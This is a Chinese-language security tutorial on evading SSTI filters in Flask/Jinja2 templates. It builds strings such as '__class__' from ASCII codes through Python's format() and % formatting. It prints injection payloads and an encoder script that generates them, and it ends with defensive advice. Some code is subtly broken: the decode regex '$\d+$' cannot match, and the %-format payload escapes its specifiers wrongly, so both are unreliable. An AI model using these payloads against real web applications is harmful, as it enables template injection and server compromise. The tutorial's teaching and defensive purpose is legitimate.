利用Python字符串格式化特性绕过ssti过滤
字数 749 2025-08-20 18:17:47
Python字符串格式化特性绕过SSTI过滤技术详解
00x0 前置知识
SSTI基本绕过技术
-
点号绕过:
- 传统方式:
"".__class__ - 绕过方式:
""["__class__"]
- 传统方式:
-
字符串拼接绕过关键字过滤:
""["__cla"+"ss__"]
-
使用
attr和request参数绕过下划线过滤:|attr(request['args']['x1'])- 当
|被过滤时,需要寻找其他方法
00x1 Python的格式化字符串特性
核心绕过技术
Python字符串格式化允许通过ASCII码指定字符:
>>> '{0:c}'.format(98)
'b'
在Flask模板中的应用:
"{0:c}"["format"](98) # 等同于 'b'
构造__class__字符串
通过ASCII码拼接关键字符串:
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}
(注意:+号需要编码为%2b)
自动化编码工具
编码脚本:
import re
def product(poc):
payload = ''
for chr in poc:
model = "'{0:c}'['format'](%d)" % ord(chr)
payload += model + '+'
return payload[:-1]
a = product('__builtins__').replace('+', "%2b")
print(a)
def decode(payload):
res = re.findall("$\d+$", payload)
for i in res:
print(chr(int(i[1:-1])), end = "")
decode(a)
00x2 扩展技术
其他格式化方法
-
使用
%格式化:>>> '%c' % 98 'b'在Flask模板中的应用:
{{""["%c%%c%%c%%c%%c%%c%%c%%c"%(95,95,99,108,97,115,115,95,95)]}} -
尝试f-string(未成功):
- Flask模板引擎将
{}视为模板变量标识符 - 目前尚未找到在Flask模板中使用f-string执行命令的方法
- Flask模板引擎将
技术特点分析
-
优点:
- 可以绕过严格的字符过滤(如下划线、点号、特定关键字等)
- 提供了一种新的绕过思路
-
缺点:
- 生成的payload长度显著增加
- 可读性差,难以手动构造
- 需要多次测试和调整
防御建议
- 不要直接将用户输入作为模板渲染
- 使用更严格的模板引擎或沙箱环境
- 对用户输入进行多重过滤和验证
- 禁用危险的Python内置函数和属性
总结
这种利用Python字符串格式化特性绕过SSTI过滤的方法展示了Python灵活的语言特性如何被用于安全绕过。虽然payload较长且复杂,但在严格的过滤环境下可能成为有效的绕过手段。安全开发者应了解此类技术以更好地防御潜在攻击。